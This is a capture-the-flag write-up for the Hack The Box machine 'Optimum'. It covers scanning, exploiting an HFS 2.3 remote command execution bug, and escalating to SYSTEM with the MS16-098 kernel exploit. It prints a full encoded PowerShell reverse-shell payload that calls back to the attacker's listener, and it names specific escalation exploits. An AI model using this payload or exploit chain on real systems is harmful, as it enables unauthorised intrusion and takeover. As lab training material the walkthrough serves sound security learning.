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Hack The Box : Optimum

23 July, 2021

Starting off with an nmap scan

# nmap -A -sC -sV -O 10.10.10.8
Starting Nmap 7.91 ( https://nmap.org )
Nmap scan report for 10.10.10.8
Host is up (0.39s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|7|2008|2016|Vista (91%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%), Microsoft Windows Server 2016 (85%), Microsoft Windows 7 Professional or Windows 8 (85%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (85%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   310.31 ms 10.10.16.1
2   464.78 ms 10.10.10.8

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.06 seconds

Only an HTTP server...

Running gobuster didn't reveal anything useful so I searched for an exploit for HFS

# searchsploit hfs
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                             |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service                                                                                                                                          | osx/dos/29454.txt
Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)                                                                                                                                                    | osx/dos/12375.c
Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure                                                                                                                                                | osx/local/35488.c
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation                                                                                                                                         | osx/local/8266.txt
FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution                                                                                                                                                 | windows/remote/37985.py
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)                                                                                                                                                | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)                                                                                                                                                | multiple/remote/48569.py
Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service                                                                                                                                                | linux/dos/28895.txt
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)                                                                                                                                     | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities                                                                                                                                          | windows/remote/31056.py
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload                                                                                                                                             | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)                                                                                                                                        | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)                                                                                                                                        | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution                                                                                                                                   | windows/webapps/34852.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

I tried using 49854 and it worked, I got a reverse shell as kostas

# python3 49584.py

Encoded the command in base64 format...

Encoded the payload and sent a HTTP GET request to the target...

Printing some information for debugging...
lhost:  10.10.16.174
lport:  4243
rhost:  10.10.10.8
rport:  80
payload:  exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA3ADQAIgAsADQAMgA0ADMAKQA7ACAAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIABbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7ACAAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsADAALAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAgACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAJABpACkAOwAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABHAGUAdAAtAEwAbwBjAGEAdABpAG8AbgApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAIAAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACAAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACAAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACAAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Listening for connection...
listening on [any] 4243 ...
connect to [10.10.16.174] from (UNKNOWN) [10.10.10.8] 49162
dir


    Directory: C:\Users\kostas\Desktop


Mode                LastWriteTime     Length Name                                                                      
----                -------------     ------ ----                                                                      
-a---         18/3/2017   2:11 ??     760320 hfs.exe                                                                   
-ar--         18/3/2017   2:13 ??         32 user.txt.txt                                                              


PS C:\Users\kostas\Desktop> whoami
optimum\kostas
PS C:\Users\kostas\Desktop> type user.txt.txt
<flag>

The Administrator's desktop directory wasn't available through this user so I started looking for ways to escalate my privilege.

# python2 Boxes/Devel/windows-exploit-suggester2.7.py  --database 2021-07-22-mssb.xls --systeminfo systeminfo
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*] 
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*] 
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*] 
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*] 
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*] 
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*] 
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*] 
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*] 
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*] 
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*] 
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*] 
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*] 
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*] 
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*] 
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*] 
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*] 
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*]   https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*] 
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*] 
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*] 
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*] 
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*] 
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*] 
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done

That's a lot of exploits! After trying a whole lot of them, MS16-098 worked for me. A compiled version of this exploit can be found here

C:\Users\kostas\Downloads>bfill.exe
bfill.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Downloads>whoami
whoami
nt authority\system
C:\Users\kostas\Downloads>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
<flag>